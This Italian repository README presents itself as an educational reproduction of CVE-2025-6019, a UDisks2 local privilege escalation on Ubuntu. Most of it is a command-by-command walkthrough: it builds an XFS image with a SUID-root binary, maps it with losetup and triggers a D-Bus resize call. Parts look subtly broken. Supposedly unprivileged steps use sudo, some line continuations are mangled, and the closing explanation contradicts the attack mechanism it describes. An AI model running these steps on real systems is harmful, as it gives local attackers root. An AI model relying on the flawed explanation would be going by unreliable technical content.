CVE-2025-6019 – Vulnerabilità ResizeFilesystem di UDisks2 (Riproduzione Educativa)

Questo repository documenta una riproduzione educativa di CVE-2025-6019 eseguita in un ambiente di laboratorio controllato (VM Ubuntu, non di produzione).

🛡️ Avviso di Sicurezza

Questa ricerca riproduce CVE-2025-6019 in un ambiente Ubuntu isolato per analizzare la causa principale e la mitigazione della vulnerabilità UDisks2.
Tutti i risultati sono condivisi in modo responsabile e mirano a supportare la consapevolezza e l'adozione delle patch.
Se sei un vendor o un maintainer, assicurati che il tuo sistema abbia gli ultimi aggiornamenti di sicurezza.

Introduzione

Questa vulnerabilità CVE è un tipo di Local Privilege Escalation nei sistemi Linux che deriva da interazioni insufficientemente coordinate tra i componenti di gestione del filesystem Linux, in questo caso udisks/udisks2, libblockdev e Polkit. Questo bug consente a un utente locale (attaccante non privilegiato) di montare un'immagine di filesystem dannosa contenente file di proprietà di root con il bit SUID impostato, eseguire un binario SUID-root da quell'immagine e infine ottenere il pieno controllo dell'host.

Come sfruttarla

Passo 1: Configurazione dell'ambiente

Questo sfruttamento viene condotto su una macchina virtuale Ubuntu 20.04.6.
Tutti i test vengono eseguiti in una VM locale isolata e non vengono utilizzate connessioni di rete o payload distruttivi. L'obiettivo è puramente osservare i cambi di privilegio e verificare la vulnerabilità in condizioni di sicurezza.

Clona questo repository, assicurati di avere i file check_root.c e exploit_helper.sh

~$ gcc check_root.c -o check_root

Verifica delle versioni di udisks2 e libblockdev:

~$ dpkg -l | grep libblockdev
~$ dpkg -l | grep udisk
~$ sudo apt install -y build-essential xfsprogs 
# Risultato atteso: libblockdev versione 2.23-2ubuntu3 e udisks2 versione 2.8.4-1ubuntu2  

Passo 2: Preparazione del payload (macchina dell'attaccante)

Nota che l'obiettivo non è creare un programma distruttivo. check_root.c è un programma di test innocuo che stampa solo il suo UID reale e il suo UID effettivo quando viene eseguito (tramite le funzioni getuid() e geteuid()), ma se lo si sostituisce con un binario dannoso, il sistema potrebbe essere danneggiato.

Crea il file immagine:

~$ dd if=/dev/zero of=malicious_xfs.img bs=1M count=16
~$ sudo mkfs.xfs malicious_xfs.img

Copia check_root.c nell'immagine e imposta il flag SUID:

~$ mkdir /tmp/xfs_mnt
~$ sudo mount -o loop malicious_xfs.img /tmp/xfs_mnt
~$ sudo cp check_root /tmp/xfs_mnt/
~$ sudo chmod 4755 /tmp/xfs_mnt/check_root
~$ sudo umount /tmp/xfs_mnt
~$ rmdir /tmp/xfs_mnt
~$ mount | grep malicious  
# Risultato atteso: nessun output.

Se vedi che l'immagine è ancora montata, smontala. Dopo questa fase, abbiamo un'immagine dannosa che contiene un file dannoso (check_root), con il flag SUID e proprietario root nei metadati.
Nota che questi metadati vengono mantenuti coerenti durante la copia del file tra macchine Linux, e Linux protetto da "nosuid" non verrà influenzato in questo scenario.

Passo 3: Sfruttamento (sulla macchina target)

Questo passaggio mappa l'immagine nella macchina target e poi esegue il file dannoso al suo interno; questa azione è simile all'inserimento di una USB dannosa in una macchina Linux.

~$ losetup
# Controlla quali dispositivi /dev/loop* sono in uso e creane uno nuovo e montalo con l'immagine dannosa creata nel Passo 2. Ad esempio, se vedi /dev/loop1-8, crea /dev/loop9:
~$ sudo losetup /dev/loop9 malicious_xfs.img
~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \  $LOOP_DEVICE)"
~$ Echo $OBJECT_PATH
#Atteso: /org/freedesktop/UDisks2/block_devices/loop9
Precheck: 
~$ cat /proc/mounts | grep "$LOOP_DEVICE" | grep 'xfs' | awk '{print $2}'
#atteso: Nessun risultato restituito

Esegui il file exploit_helper:

~$ chmod +x exploit_helper.sh
~$ ./exploit_helper.sh

Apri un secondo terminale e invia una richiesta D-Bus che chiede al sistema (UDisks2) di ridimensionare il dispositivo a blocchi presentato.

~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \ $LOOP_DEVICE)"
~$ echo $OBJECT_PATH
#Atteso: /org/freedesktop/UDisks2/block_devices/loop9
~$ gdbus call --system --dest org.freedesktop.UDisks2 --object-path \ /org/freedesktop/UDisks2/block_devices/loop9 --method \ org.freedesktop.UDisks2.Filesystem.Resize -t 10 "uint64 0" "{}"

Controllo del terminale di sfruttamento: Successo

Perché il successo: Quando l'immagine è stata mappata manualmente con losetup e poi montata manualmente (anche su un sistema in cui è presente udisksd), il montaggio è stato eseguito in un contesto diverso con opzioni e semantica del ciclo di vita differenti. In questo scenario il filesystem non è stato montato con gli stessi flag di sicurezza applicati da udisksd, quindi il binario setuid all'interno dell'immagine ha potuto avere effetto e la fase di sfruttamento è riuscita.

Il team di sicurezza di Ubuntu ha già rilasciato versioni patchate di UDisks2 che affrontano CVE-2025-6019.

⚠️ Disclaimer
Questo repository è solo per uso educativo.
Non utilizzare alcuna parte di questo contenuto per attaccare o modificare sistemi reali.
L'autore e i collaboratori non si assumono alcuna responsabilità per un uso improprio.